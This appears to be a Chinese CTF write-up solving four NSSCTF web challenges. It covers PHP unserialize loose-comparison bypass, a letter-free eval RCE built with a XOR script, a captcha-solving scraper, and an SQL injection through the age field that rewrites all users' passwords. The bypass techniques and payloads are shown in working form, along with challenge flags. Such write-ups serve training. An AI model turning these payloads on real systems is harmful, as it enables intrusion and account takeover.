checkin

考点:反序列化,弱比较,php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}

?>

代码审计,只需要传入的info的username和password值与变量的值弱比较。

这里很容易想到相等(强比较),但是其实是弱比较,而且根据提示可以知道这两个变量的值会改变,所以我们不知道确切的值,直接构造赋值0和1,最后发现0和0成功了,所以这两个变量改变了后还是字符串

image-20241129191723974

NSSCTF{29cf034a-9052-4aec-b776-b1c8b18b82f5}

HowToGetShell

考点:无字母rce,php

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);

过滤了所有字母,但有字母,可以使用异或绕过。脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " #可以用的符号
answer = "phpinfo" #要构造的命令
tmp1,tmp2 = '',''
for c in answer:
for i in valid:
for j in valid:
if (ord(i)^ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
//0302181 @[@[_^^ ,所以传入"0302181"^"@[@[_^^"

payload:

1
mess=$_="0302181"^"@[@[_^^";$_();

image-20241129203748374

NSSCTF{3290ae33-f255-4d6b-9bba-2b1be6ddd485}

Calculate

考点:python,web,脚本编写

直接上脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
from bs4 import BeautifulSoup
import re
import time

# 假设这是我们要与之交互的网站的URL
url = 'http://node5.anna.nssctf.cn:28984/' # 请替换为实际的URL

# 创建一个会话来保持cookie和其他会话信息
session = requests.Session()

# 正则表达式模式来匹配数字或运算符,它们被<div>标签包围
pattern = re.compile(r'<div[^>]*?>([0-9+\-*\/=]+)</div>')

# 循环直到我们找到包含关键词"ctf"的页面
for i in range(20):
# 发送GET请求来获取当前页面
response = session.get(url)
html_content = response.text

# 使用BeautifulSoup解析HTML内容
soup = BeautifulSoup(html_content, 'html.parser')

# 查找所有包含数字或运算符的<div>标签
divs = soup.find_all('div', text=re.compile(r'[0-9+\-*\/=]'))

# 使用正则表达式从标签中提取数字或运算符
tokens = pattern.findall(str(divs))

# 拼接成一个数学表达式(注意:这里假设表达式是简单的,没有括号)
# 我们需要去除任何多余的空格和可能的=符号(它可能是表达式的一部分或用于提示用户输入)
# 并且我们假设=符号后面不会紧跟数字或运算符(即它是表达式的结尾)
expression_parts = [token for token in tokens if token != '=']
expression = ''.join(expression_parts).replace(' ', '')
print(expression)
# 计算表达式的值(注意:这里使用eval有安全风险,但在本例中为了简化而使用)
try:
result = eval(expression)
except Exception as e:
print(f"Error evaluating expression '{expression}': {e}")
break

# 为了避免过快地发送请求,我们添加了一个短暂的延迟(至少1秒)
# 根据题目要求,我们不能在1秒内回答一个问题,所以这里使用0.5秒的延迟
time.sleep(1.1)
# 准备POST数据
post_data = {'ans': result}
print(result)
# 发送POST请求将答案发送回服务器
post_response = session.post(url, data=post_data)



# 检查响应内容是否包含关键词"ctf"
print(post_response.text)


# 关闭会话
session.close()

NSSCTF{32a5eadd-b078-4e0c-9570-1b2852476085}

ezsql

考点:sql注入

先扫一下目录,发现源码,审计源码,发现sql注入

image-20241129231234785

image-20241129231223286

根据提示,存在sql注入,直接sqlmap扫

image-20241129230333540

发现在年龄处存在sql注入漏洞,且根据payload可以看出是数字型注入

1
2
3
4
5
6
修改当前表所有nickname为444
nickname=aa&age=11,nickname=444%23&description=111&token=
修改当前表所有password为123
nickname=aa&age=11,password=0x3230326362393632616335393037356239363462303731353264323334623730%23&description=111&token=
#0x3230326362393632616335393037356239363462303731353264323334623730=hex(md5(‘123’))
#urlencode(#)=%23

image-20241129231014113

NSSCTF{3a6a5fad-87c3-4a7a-a6b6-35f1a532b42e}